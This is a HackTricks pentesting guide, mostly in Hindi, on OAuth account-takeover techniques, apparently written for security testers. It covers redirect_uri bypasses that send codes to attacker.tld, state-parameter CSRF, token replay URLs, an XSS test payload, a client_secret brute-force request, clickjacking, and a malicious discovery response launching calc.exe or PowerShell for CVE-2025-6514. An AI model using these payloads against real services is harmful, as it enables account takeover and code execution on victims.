OAuth to Account takeover

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

बुनियादी जानकारी

OAuth कई संस्करण प्रदान करता है, और मूलभूत जानकारी OAuth 2.0 documentation पर उपलब्ध है। यह चर्चा मुख्यतः व्यापक रूप से उपयोग किए जाने वाले OAuth 2.0 authorization code grant type पर केन्द्रित है, जो एक ऐसा authorization framework है जो एक application को किसी अन्य application में उपयोगकर्ता के खाते पर पहुँचने या उस खाते पर क्रियाएँ करने में सक्षम बनाता है (the authorization server)।

एक काल्पनिक वेबसाइट https://example.com को लेकर सोचिए, जिसे आपकी सभी social media पोस्ट्स (private वाली भी) दिखाने के लिए डिज़ाइन किया गया है। यह हासिल करने के लिए OAuth 2.0 का उपयोग किया जाता है। https://example.com आपकी अनुमति मांगेगा ताकि वह आपकी social media पोस्ट्स तक पहुँच सके। परिणामस्वरूप, https://socialmedia.com पर एक consent स्क्रीन दिखाई देगा, जिसमें अनुरोध की जा रही permissions और अनुरोध कर रहे developer का विवरण होगा। आपकी अनुमति मिलने पर, https://example.com को आपकी ओर से आपकी पोस्ट्स तक पहुँच की क्षमता मिल जाएगी।

OAuth 2.0 फ़्रेमवर्क के अंदर निम्न घटकों को समझना आवश्यक है:

  • resource owner: आप, एक उपयोगकर्ता/इकाई के रूप में, अपने संसाधन (जैसे आपके social media account की पोस्ट्स) तक पहुँच की अनुमति देते हैं।
  • resource server: वह server जो authenticated अनुरोधों का प्रबंधन करता है जब application ने access token हासिल कर लिया हो resource owner की ओर से, उदाहरण के लिए https://socialmedia.com।
  • client application: वह application जो resource owner से authorization मांग रही है, जैसे https://example.com।
  • authorization server: वह server जो client application को access tokens जारी करता है जब resource owner सफलतापूर्वक authenticate हो गया हो और authorization मिल गई हो, उदाहरण के लिए https://socialmedia.com।
  • client_id: application के लिए एक सार्वजनिक, अद्वितीय पहचानकर्ता।
  • client_secret: एक गोपनीय कुंजी, जो केवल application और authorization server को ज्ञात होती है, और access_tokens जनरेट करने में उपयोग की जाती है।
  • response_type: एक मान जो दर्शाता है कौन सा token मांगा जा रहा है, जैसे code।
  • scope: वह एक्सेस स्तर जिसे client application resource owner से मांग रही है।
  • redirect_uri: वह URL जहाँ उपयोगकर्ता authorization के बाद रीडायरेक्ट होता है। यह आम तौर पर पहले से रजिस्टर किए गए redirect URL से मेल खाना चाहिए।
  • state: एक पैरामीटर जो user के authorization server की ओर और वापस रीडायरेक्शन के दौरान डेटा बनाए रखता है। इसकी uniqueness CSRF सुरक्षा तंत्र के रूप में महत्वपूर्ण होती है।
  • grant_type: एक पैरामीटर जो दर्शाता है किस प्रकार का grant है और किस प्रकार का token लौटाया जाएगा।
  • code: authorization server से प्राप्त authorization code, जिसे client application client_id और client_secret के साथ मिलकर access_token प्राप्त करने के लिए उपयोग करता है।
  • access_token: वह token जिसे client application API अनुरोधों के लिए resource owner की ओर से उपयोग करता है।
  • refresh_token: application को बिना उपयोगकर्ता को फिर से प्रम्प्ट किए नया access_token प्राप्त करने में सक्षम बनाता है।

प्रवाह

वास्तविक OAuth प्रवाह इस प्रकार आगे बढ़ता है:

  1. आप https://example.com पर जाते हैं और “Integrate with Social Media” बटन चुनते हैं।
  2. साइट फिर https://socialmedia.com को एक अनुरोध भेजती है, जिसमें यह आपकी अनुमति मांगती है ताकि https://example.com की application आपकी पोस्ट्स तक पहुँच सके। अनुरोध इस रूप में संरचित होता है:
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
  1. इसके बाद आपको एक अनुमति पृष्ठ दिखाया जाता है।
  2. आपकी स्वीकृति के बाद, Social Media redirect_uri पर code और state पैरामीटर के साथ एक response भेजता है:
https://example.com?code=uniqueCode123&state=randomString123
  1. https://example.com इस code का उपयोग करता है, अपने client_id और client_secret के साथ मिलकर, आपकी ओर से एक server-side अनुरोध करके एक access_token प्राप्त करने के लिए, जिससे उन अनुमतियों तक पहुँच संभव होती है जिनके लिए आपने सहमति दी थी:
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
  1. Finally, the process concludes as https://example.com employs your access_token to make an API call to Social Media to access

कमजोरियाँ

Open redirect_uri

Per RFC 6749 §3.1.2, the authorization server must redirect the browser only to pre-registered, exact redirect URIs. Any weakness here lets an attacker send a victim through a malicious authorization URL so that the IdP delivers the victim’s code (and state) straight to an attacker endpoint, who can then redeem it and harvest tokens.

सामान्य हमला कार्यप्रवाह:

  1. Craft https://idp.example/auth?...&redirect_uri=https://attacker.tld/callback और इसे पीड़ित को भेजें।
  2. पीड़ित authenticate करता है और scopes को approve कर देता है।
  3. IdP attacker.tld/callback?code=<victim-code>&state=... पर redirect करता है, जहाँ attacker request लॉग करता है और तुरंत code का एक्सचेंज कर लेता है।

जाँचने के लिए सामान्य validation बग:

  • No validation – किसी भी absolute URL को स्वीकार कर लिया जाता है, जिससे तुरंत code चोरी हो जाता है।
  • Weak substring/regex checks on the host – lookalikes जैसे evilmatch.com, match.com.evil.com, match.com.mx, matchAmatch.com, evil.com#match.com, या match.com@evil.com से bypass किया जा सकता है।
  • IDN homograph mismatches – वैलिडेशन punycode फॉर्म (xn--) पर होता है, लेकिन ब्राउज़र attacker द्वारा नियंत्रित Unicode domain पर redirect कर देता है।
  • Arbitrary paths on an allowed host – redirect_uri को /openredirect?next=https://attacker.tld या किसी भी XSS/user-content endpoint की ओर इंगित करने पर chained redirects, Referer headers, या injected JavaScript के माध्यम से code leaks हो सकता है।
  • Directory constraints without normalization – /oauth/* जैसे पैटर्न को /oauth/../anything से bypass किया जा सकता है।
  • Wildcard subdomains – *.example.com स्वीकार करने का मतलब है कि कोई भी takeover (dangling DNS, S3 bucket, आदि) तुरंत एक वैध callback दे सकता है।
  • Non-HTTPS callbacks – http:// URIs को अनुमति देने से नेटवर्क attackers (Wi‑Fi, corporate proxy) को transit में code snatch करने का मौका मिल जाता है।

साथ ही auxiliary redirect-style parameters (client_uri, policy_uri, tos_uri, initiate_login_uri, आदि) और OpenID discovery document (/.well-known/openid-configuration) की जाँच करें ताकि अतिरिक्त endpoints जो समान validation बग विरासत में मिल सकते हैं पता चल सकेँ।

Redirect token leakage on allowlisted domains with attacker-controlled subpaths

यदि redirect_uri को “owned/first-party domains” तक लॉक कर दिया गया है तब भी मदद नहीं होती यदि कोई allowlisted domain attacker-controlled paths या execution contexts (legacy app platforms, user namespaces, CMS uploads, आदि) एक्सपोज़ करता है। यदि OAuth/federated login flow returns tokens in the URL (query या hash), तो attacker कर सकता है:

  1. एक वैध flow शुरू करें ताकि pre-token बने (उदा., multi-step Accounts Center/FXAuth flow में एक etoken)।
  2. पीड़ित को एक authorization URL भेजें जो allowlisted domain को redirect_uri/base_uri के रूप में सेट करे लेकिन next/path को attacker-controlled namespace की ओर पॉइंट करे (उदा., https://apps.facebook.com/<attacker_app>).
  3. पीड़ित की मंजूरी के बाद, IdP attacker-controlled path पर redirect करता है जिसमें URL में संवेदनशील मान (token, blob, codes, आदि) होते हैं।
  4. उस पेज पर JavaScript window.location पढ़ता है और उन मानों को exfiltrates कर देता है भले ही domain “trusted” हो।
  5. कैप्चर किए गए मानों को downstream privileged endpoints के खिलाफ replay करें जो केवल redirect-carried tokens की अपेक्षा करते हैं। Examples from the FXAuth flow:
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>

# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>

redirect implementation में XSS

जैसा कि इस bug bounty report https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html में बताया गया है, संभवतः redirect URL server के response में reflect हो रहा है, जिससे यह XSS के लिए vulnerable हो सकता है। परीक्षण के लिए संभावित payload:

https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>

CSRF - state parameter का गलत हैंडलिंग

The state parameter Authorization Code flow का CSRF token है: client को प्रत्येक ब्राउज़र इंस्टेंस के लिए एक क्रिप्टोग्राफिकली रैंडम वैल्यू जनरेट करनी चाहिए, उसे किसी ऐसे स्थान पर persist करना चाहिए जहाँ केवल वही ब्राउज़र पढ़ सके (cookie, local storage, आदि), authorization request में भेजना चाहिए, और किसी भी response को reject करना चाहिए जो वही value वापस नहीं करता। जब भी value static, predictable, optional, या user के session से जुड़ा नहीं होता, attacker अपना OAuth flow पूरा कर सकता है, अंतिम ?code= request को capture कर सकता है (बिना भेजे), और बाद में victim browser को उस request को replay करने के लिए मजबूर कर सकता है ताकि victim account attacker के identity provider profile से लिंक हो जाए।

The replay पैटर्न हमेशा समान होता है:

  1. Attacker अपने account से IdP के साथ authenticate करता है और अंतिम redirect को intercept करता है जिसमें code (और कोई भी state) होता है।
  2. वे उस request को drop कर देते हैं, URL रख लेते हैं, और बाद में किसी भी CSRF primitive (link, iframe, auto-submitting form) का दुरुपयोग करके victim browser को उसे load करने के लिए मजबूर करते हैं।
  3. यदि client state को enforce नहीं करता, तो application attacker के authorization result को consume कर लेता है और attacker को victim के app account में लॉग इन कर देता है।

टेस्ट के दौरान state हैंडलिंग के लिए एक व्यावहारिक चेकलिस्ट:

  • Missing state entirely – अगर parameter कभी भी दिखाई नहीं देता है, तो पूरा login CSRFable है।
  • state not required – इसे initial request से हटा दें; अगर IdP फिर भी codes जारी करता है जिन्हें client स्वीकार करता है, तो defense opt-in है।
  • Returned state not validated – response में value के साथ छेड़छाड़ करें (Burp, MITM proxy). mismatched values को स्वीकार करना मतलब stored token की कभी तुलना नहीं होती।
  • Predictable or purely data-driven state – कई ऐप redirect paths या JSON blobs को randomness मिलाए बिना state में भर देते हैं, जिससे attackers वैध values का अनुमान लगा कर flows को replay कर सकते हैं। हमेशा encoding से पहले/बाद में मजबूत entropy जोड़ें।
  • state fixation – अगर app users को state value देने की अनुमति देता है (उदा., crafted authorization URLs के माध्यम से) और flow में इसे दोबारा उपयोग करता है, तो attacker एक जानी-पहचानी value lock कर सकता है और उसे कई victims पर reuse कर सकता है।

PKCE state का पूरक हो सकता है (विशेषकर public clients के लिए) authorization code को code verifier से बाँधकर, पर web clients को फिर भी cross-user CSRF/account-linking बग्स रोकने के लिए state को ट्रैक करना चाहिए।

Account Takeover से पहले

  1. Without Email Verification on Account Creation: Attackers पूर्व-सक्रिय रूप से victim के email का उपयोग करके एक account बना सकते हैं। यदि victim बाद में third-party service से login करता है, तो application अनजाने में इस third-party account को attacker द्वारा पहले बनाया गया account के साथ लिंक कर सकता है, जिससे unauthorized access हो सकता है।
  2. Exploiting Lax OAuth Email Verification: Attackers उन OAuth सेवाओं का दुरुपयोग कर सकते हैं जो emails verify नहीं करतीं—पहले उनकी सेवा में रजिस्टर करके और फिर account email को victim के email में बदलकर। यह तरीका भी unauthorized account access का जोखिम पैदा करता है, पहले परिदृश्य के समान लेकिन एक अलग attack vector के माध्यम से।

Disclosure of Secrets

The client_id जानबूझकर public होता है, पर client_secret कभी भी end users द्वारा recoverable नहीं होना चाहिए। Authorization Code deployments जो secret को mobile APKs, desktop clients, or single-page apps में embed करते हैं, वे प्रभावी रूप से वह credential किसी भी उस व्यक्ति को दे देते हैं जो package डाउनलोड कर सकता है। public clients की हमेशा जांच करें:

  • APK/IPA, desktop installer, या Electron app को unpack कर के client_secret, Base64 blobs जो JSON में decode होते हैं, या hard-coded OAuth endpoints के लिए grep करें।
  • bundled config files (plist, JSON, XML) या decompiled strings में client credentials की समीक्षा करें।

एक बार attacker secret निकाल लेता है, तो उसे केवल किसी भी victim authorization code (कमज़ोर redirect_uri, logs, आदि के माध्यम से) को चुराना होता है ताकि वह स्वतंत्र रूप से /token को हिट करके access/refresh tokens mint कर सके बिना legitimate app को शामिल किए। public/native clients को secrets रखने में असमर्थ मानें — उन्हें स्थिर secret के बजाय per-instance code verifier के स्वामित्व को साबित करने के लिए PKCE (RFC 7636) पर निर्भर होना चाहिए। परीक्षण के दौरान, पुष्टि करें कि क्या PKCE अनिवार्य है और क्या backend वास्तव में token exchanges को अस्वीकार करता है जो या तो client_secret या एक वैध code_verifier को छोड़ देते हैं।

Client Secret Bruteforce

आप किसी service provider के client_secret को bruteforce करने की कोशिश कर सकते हैं ताकि accounts चुराए जा सकें।
The request to BF may look similar to:

POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close

code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]

Referer/Header/Location artifacts leaking Code + State

Once the client has the code and state, अगर वे location.href या document.referrer में दिखाई दें और तीसरे पक्षों को फ़ॉरवर्ड किए जाएँ, तो वे leak हो जाते हैं। दो बार-बार मिलने वाले पैटर्न:

  • Classic Referer leak: after the OAuth redirect, any navigation that keeps ?code=&state= in the URL will push them into the Referer header sent to CDNs/analytics/ads.
  • Telemetry/analytics confused deputy: कुछ SDKs (pixels/JS loggers) postMessage इवेंट्स पर प्रतिक्रिया करते हैं और फिर संदेश में दिए गए token का उपयोग करके वर्तमान location.href/referrer को backend APIs पर भेज देते हैं। अगर आप इस फ्लो में अपना token इंजेक्ट कर सकें (उदाहरण के लिए, attacker-controlled postMessage relay के ज़रिए), तो आप बाद में SDK की API request history/logs पढ़कर उन requests में embedded victim के OAuth artifacts को recover कर सकते हैं।

Access Token Stored in Browser History

The core guarantee of the Authorization Code grant is that access tokens never reach the resource owner’s browser. When implementations leak tokens client-side, any minor bug (XSS, Referer leak, proxy logging) becomes instant account compromise. Always check for:

  • Tokens in URLs – अगर query/fragment में access_token दिखाई दे, तो यह browser history, server logs, analytics, और तीसरे पक्षों को भेजे जाने वाले Referer headers में चला जाता है।
  • Tokens transiting untrusted middleboxes – tokens को HTTP पर या debugging/corporate proxies के ज़रिए लौटाना network observers को उन्हें सीधे capture करने देता है।
  • Tokens stored in JavaScript state – React/Vue stores, global variables, या serialized JSON blobs origin पर हर script (including XSS payloads या malicious extensions) को tokens एक्सपोज़ कर देते हैं।
  • Tokens persisted in Web Storage – localStorage/sessionStorage shared devices पर logout के बाद भी tokens को लम्बे समय तक रखता है और script से accessible रहता है।

इनमें से कोई भी खोज आमतौर पर अन्यथा “low” bugs (जैसे CSP bypass या DOM XSS) को full API takeover में upgrade कर देती है क्योंकि attacker बस leaked bearer token को पढ़कर replay कर सकता है।

Everlasting Authorization Code

Authorization codes को short-lived, single-use, और replay-aware होना चाहिए। किसी flow का मूल्यांकन करते समय, एक code capture करें और:

  • Test the lifetime – RFC 6749 मिनटों की सलाह देता है, घंटे नहीं। 5–10 मिनट के बाद code को redeem करके देखें; अगर यह अभी भी काम कर रहा है, तो किसी भी leaked code के लिए exposure window अत्यधिक है।
  • Test sequential reuse – एक ही code को दो बार भेजें। अगर दूसरी request भी दूसरा token देती है, तो attackers sessions को अनिश्चित काल तक clone कर सकते हैं।
  • Test concurrent redemption/race conditions – दो token requests parallel में भेजें (Burp intruder, turbo intruder)। कमजोर issuers कभी-कभी दोनों को grant कर देते हैं।
  • Observe replay handling – reuse प्रयास सिर्फ fail ही नहीं होना चाहिए बल्कि उस code से पहले ही mint किए गए किसी भी token को revoke भी करना चाहिए। अन्यथा, replay का पता चलने पर भी attacker का पहला token active रह जाएगा।

एक replay-friendly code को किसी भी redirect_uri या logging बग के साथ मिलाकर लगाने पर victim के legitimate login पूरा करने के बाद भी persistent account access मिल सकता है।

Authorization/Refresh Token not bound to client

अगर आप authorization code प्राप्त कर सकते हैं और उसे किसी दूसरे client/app के लिए redeem कर सकते हैं, तो आप अन्य accounts takeover कर सकते हैं। कमजोर binding की जाँच करें:

  • किसी code को app A के लिए capture करके app B के token endpoint पर भेजना; अगर आपको फिर भी token मिलता है, तो audience binding टूट गई है।
  • अपने client IDs तक सीमित होने वाले first-party token minting endpoints का प्रयास करना; अगर वे arbitrary state/app_id को स्वीकार करते हैं जबकि केवल code को validate करते हैं, तो आप प्रभावी रूप से एक authorization-code swap कर के higher-privileged first-party tokens mint कर लेंगे।
  • यह जाँचना कि क्या client binding nonce/redirect URI mismatches को ignore कर देता है। अगर error page फिर भी ऐसे SDKs लोड करता है जो location.href लॉग करते हैं, तो Referer/telemetry leaks के साथ मिलाकर codes चुराकर उन्हें कहीं और redeem किया जा सकता है।

कोई भी endpoint जो code → token एक्सचेंज करता है उसे issuing client, redirect URI, और nonce की सत्यता ज़रूर verify करनी चाहिए; वरना किसी भी app से चोरी किया गया code first-party access token में upgrade हो सकता है।

Happy Paths, XSS, Iframes & Post Messages to leak code & state values

इस पोस्ट को देखें

AWS Cognito

In this bug bounty report: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ आप देख सकते हैं कि जो token AWS Cognito user को वापस देता है उसमें enough permissions to overwrite the user data हो सकते हैं। इसलिए, अगर आप change the user email for a different user email कर सकें, तो आप दूसरों के accounts take over कर सकते हैं।

# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]

# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}

For more detailed info about how to abuse AWS Cognito check AWS Cognito - Unauthenticated Enum Access.

अन्य Apps के tokens का दुरुपयोग

As mentioned in this writeup, OAuth flows जो कि token (और code नहीं) प्राप्त करने की उम्मीद करते हैं, संवेदनशील हो सकते हैं अगर वे यह जाँच नहीं करते कि token उसी app का है।

यह इसलिए संभव है क्योंकि एक attacker अपनी ही application में एक application supporting OAuth and login with Facebook बना सकता है (उदाहरण के लिए)। फिर, जब एक victim उसी attacker’s application में Facebook से login करता है, attacker उस user के लिए उसकी application को दिया गया OAuth token हासिल कर सकता है, और उस token का उपयोग करके victim के OAuth application में victim के user token से login कर सकता है।

Caution

इसलिए, यदि attacker user को उसकी अपनी OAuth application तक access करने के लिए मजबूर करने में सफल हो जाता है, तो वह उन applications में victim का account takeover कर सकेगा जो token की उम्मीद करते हैं और यह नहीं जाँचते कि token उनके app ID को दिया गया था या नहीं।

Two links & cookie

According to this writeup, एक victim को ऐसी page खोलवाना संभव था जिसका returnUrl attackers host की ओर इशारा करता था। यह जानकारी cookie (RU) में store हो जाती थी और एक बाद के कदम में prompt user से पूछता था कि क्या वह उस attackers host को access देना चाहता है।

इस prompt को बायपास करने के लिए, एक tab खोलकर Oauth flow शुरू करना संभव था जो इस RU cookie को returnUrl उपयोग करके सेट कर देता, prompt दिखने से पहले tab बंद कर दिया जाता, और फिर बिना उस value के नया tab खोला जाता। तब, prompt attackers host के बारे में सूचित नहीं करेगा, पर cookie उसी पर सेट हो चुकी होगी, इसलिए redirection में token attackers host को भेज दिया जाएगा।

Prompt Interaction Bypass

As explained in this video, कुछ OAuth implementations में GET parameter prompt को None (&prompt=none) बताकर वेब पर users से confirmation माँगे जाने को रोका जा सकता है अगर वे पहले से platform में logged in हों।

response_mode

As explained in this video, संभव है कि आप parameter response_mode बताएं ताकि final URL में code कहाँ दिया जाएगा वह चुना जा सके:

  • response_mode=query -> The code is provided inside a GET parameter: ?code=2397rf3gu93f
  • response_mode=fragment -> The code is provided inside the URL fragment parameter #code=2397rf3gu93f
  • response_mode=form_post -> The code is provided inside a POST form with an input called code and the value
  • response_mode=web_message -> The code is send in a post message: window.opener.postMessage({"code": "asdasdasd...

OAuth consent/login dialogs clickjacking के लिए आदर्श होते हैं: अगर उन्हें framed किया जा सके तो attacker custom graphics overlay कर सकता है, असली buttons छिपा सकता है, और users को खतरनाक scopes approve करने या accounts लिंक करने के लिए trick कर सकता है। PoCs बनाएं जो:

  1. IdP authorization URL को <iframe sandbox="allow-forms allow-scripts allow-same-origin"> के अंदर load करें।
  2. absolute positioning/opacity tricks का उपयोग करके fake buttons को hidden Allow/Approve controls के साथ align करें।
  3. वैकल्पिक रूप से parameters (scopes, redirect URI) pre-fill करें ताकि चोरी किया गया approval तुरंत attacker के लाभ में आ जाए।

टेस्टिंग के दौरान verify करें कि IdP pages X-Frame-Options: DENY/SAMEORIGIN या restrictive Content-Security-Policy: frame-ancestors 'none' emit करते हैं। अगर दोनों में से कोई भी मौजूद नहीं है, तो NCC Group’s clickjacking PoC generator जैसे tooling से जोखिम दिखाएँ और रिकॉर्ड करें कि victim कितनी आसानी से attacker की app को authorize करता है। अतिरिक्त payload ideeën के लिए देखें Clickjacking।

OAuth ROPC flow - 2 FA bypass

According to this blog post, यह एक OAuth flow है जो OAuth में username और password के माध्यम से login करने की अनुमति देता है। अगर इस सरल flow के दौरान user को perform करने वाली सभी actions तक पहुँच वाला एक token लौटाया जाता है, तो उस token का उपयोग करके 2FA bypass करना संभव हो सकता है।

ATO on web page redirecting based on open redirect to referrer

This blogpost बताता है कि कैसे एक open redirect को referrer के मान के आधार पर abusing करके OAuth से ATO किया जा सकता था। हमला था:

  1. Victim attackers की web page खोलता है
  2. Victim malicious link खोलता है और एक opener Google OAuth flow शुरू करता है जिसमें अतिरिक्त parameters के रूप में response_type=id_token,code&prompt=none होते हैं और referrer के रूप में attackers website होता है।
  3. Opener में, provider victim को authorize करने के बाद उन्हें redirect_uri parameter (victim web) के मान पर वापस भेज देता है एक 30X code के साथ जो अभी भी referer में attackers website रखता है।
  4. Victim की website referrer के आधार पर open redirect ट्रिगर करती है और victim user को attackers website पर redirect कर देती है; चूँकि respose_type था id_token,code, code URL के fragment में attacker को भेज दिया जाएगा जिससे वह victim का Google के जरिए account takeover कर सकेगा।

SSRFs parameters

Check this research For further details of this technique.

Dynamic Client Registration in OAuth एक कम स्पष्ट परंतु गंभीर vector है खासकर Server-Side Request Forgery (SSRF) हमलों के लिए। यह endpoint OAuth servers को client applications के बारे में विवरण रिसीव करने की अनुमति देता है, जिनमें संवेदनशील URLs शामिल हो सकते हैं जिन्हें exploit किया जा सकता है।

Key Points:

  • Dynamic Client Registration अक्सर /register पर मैप होता है और POST requests के माध्यम से client_name, client_secret, redirect_uris, और logos या JSON Web Key Sets (JWKs) के URLs जैसी जानकारी स्वीकार करता है।
  • यह feature RFC7591 और OpenID Connect Registration 1.0 में बताई गई specifications का पालन करता है, जिनमें ऐसे parameters शामिल हैं जो SSRF के प्रति संवेदनशील हो सकते हैं।
  • registration प्रक्रिया अनेक तरीकों से servers को SSRF के लिए उजागर कर सकती है:
    • logo_uri: client application के logo के लिए URL जिसे server fetch कर सकता है, जिससे SSRF या अगर URL mishandled हो तो XSS हो सकता है।
    • jwks_uri: client के JWK document का URL, जिसे malicious तरीके से बनाया गया हो तो server attacker-controlled सर्वर की ओर outbound request कर सकता है।
    • sector_identifier_uri: redirect_uris का JSON array रेफरेंस करता है, जिसे server fetch कर सकता है और इससे SSRF मौका बन सकता है।
    • request_uris: client के लिए allowed request URIs लिस्ट करता है, जिसे authorization प्रक्रिया की शुरुआत में server fetch करता है तो exploit हो सकता है।

Exploitation Strategy:

  • SSRF तब ट्रिगर किया जा सकता है जब एक नया client malicious URLs के साथ parameters जैसे logo_uri, jwks_uri, या sector_identifier_uri में register किया जाता है।
  • जबकि request_uris के माध्यम से सीधे exploitिंग whitelist controls से रोक दी जा सकती है, एक pre-registered, attacker-controlled request_uri प्रदान करना authorization phase के दौरान SSRF को सुविधा दे सकता है।

OAuth/OIDC Discovery URL Abuse & OS Command Execution

Research on CVE-2025-6514 (impacting mcp-remote clients such as Claude Desktop, Cursor or Windsurf) दिखाती है कि कैसे dynamic OAuth discovery तब RCE primitive बन जाती है जब client IdP metadata को सीधे operating system को forward कर देता है। discovery exchange (/.well-known/openid-configuration या कोई भी metadata RPC) के दौरान remote MCP server attacker-controlled authorization_endpoint लौटाता है। mcp-remote ≤0.1.15 तब system URL handler (start, open, xdg-open, आदि) को उस string के साथ call कर देता था जो आया था, इसलिए OS द्वारा supported किसी भी scheme/path को लोकली execute किया जा सकता था।

Attack workflow

  1. Desktop agent को एक hostile MCP/OAuth server की ओर point करें (npx mcp-remote https://evil). Agent 401 के साथ metadata प्राप्त करता है।
  2. Server JSON के साथ जवाब देता है जैसे:
HTTP/1.1 200 OK
Content-Type: application/json

{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
  1. क्लाइंट प्रदान किए गए URI के लिए OS handler लॉन्च करता है। Windows ऐसे पेलोड स्वीकार करता है जैसे file:/c:/windows/system32/calc.exe /c"powershell -enc ..."; macOS/Linux file:///Applications/Calculator.app/... स्वीकार करते हैं या पंजीकृत होने पर cmd://bash -lc '<payload>' जैसे कस्टम स्कीम भी स्वीकार करते हैं।
  2. चूँकि यह किसी भी उपयोगकर्ता इंटरैक्शन से पहले होता है, केवल क्लाइंट को हमलावर सर्वर से बात करने के लिए कॉन्फ़िगर करना code execution देता है।

How to test

  • Target any OAuth-capable desktop/agent that performs discovery over HTTP(S) and opens returned endpoints locally (Electron apps, CLI helpers, thick clients).
  • Intercept or host the discovery response and replace authorization_endpoint, device_authorization_endpoint, or similar fields with file://, cmd://, UNC paths, or other dangerous schemes.
  • Observe whether the client validates the scheme/host. Lack of validation results in immediate execution under the user context and proves the issue.
  • Repeat with different schemes to map the full attack surface (e.g., ms-excel:, data:text/html,, custom protocol handlers) and demonstrate cross-platform reach.

OAuth providers Race Conditions

यदि जिस प्लेटफ़ॉर्म का आप परीक्षण कर रहे हैं वह एक OAuth provider है read this to test for possible Race Conditions.

Mutable Claims Attack

In OAuth, the sub field uniquely identifies a user, but its format varies by Authorization Server. To standardize user identification, some clients use emails or user handles. However, this is risky because:

  • Some Authorization Servers do not ensure that these properties (like email) remain immutable.
  • In certain implementations—such as “Login with Microsoft”—the client relies on the email field, which is user-controlled by the user in Entra ID and not verified.
  • An attacker can exploit this by creating their own Azure AD organization (e.g., doyensectestorg) and using it to perform a Microsoft login.
  • Even though the Object ID (stored in sub) is immutable and secure, the reliance on a mutable email field can enable an account takeover (for example, hijacking an account like victim@gmail.com).

Client Confusion Attack

In a Client Confusion Attack, an application using the OAuth Implicit Flow fails to verify that the final access token is specifically generated for its own Client ID. An attacker sets up a public website that uses Google’s OAuth Implicit Flow, tricking thousands of users into logging in and thereby harvesting access tokens intended for the attacker’s site. If these users also have accounts on another vulnerable website that does not validate the token’s Client ID, the attacker can reuse the harvested tokens to impersonate the victims and take over their accounts.

Scope Upgrade Attack

The Authorization Code Grant type involves secure server-to-server communication for transmitting user data. However, if the Authorization Server implicitly trusts a scope parameter in the Access Token Request (a parameter not defined in the RFC), a malicious application could upgrade the privileges of an authorization code by requesting a higher scope. After the Access Token is generated, the Resource Server must verify it: for JWT tokens, this involves checking the JWT signature and extracting data such as client_id and scope, while for random string tokens, the server must query the Authorization Server to retrieve the token’s details.

Redirect Scheme Hijacking

In mobile OAuth implementations, apps use custom URI schemes to receive redirects with Authorization Codes. However, because multiple apps can register the same scheme on a device, the assumption that only the legitimate client controls the redirect URI is violated. On Android, for instance, an Intent URI like com.example.app:// oauth is caught based on the scheme and optional filters defined in an app’s intent-filter. Since Android’s intent resolution can be broad—especially if only the scheme is specified—an attacker can register a malicious app with a carefully crafted intent filter to hijack the authorization code. This can enable an account takeover either through user interaction (when multiple apps are eligible to handle the intent) or via bypass techniques that exploit overly specific filters, as detailed by Ostorlab’s assessment flowchart.

References

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें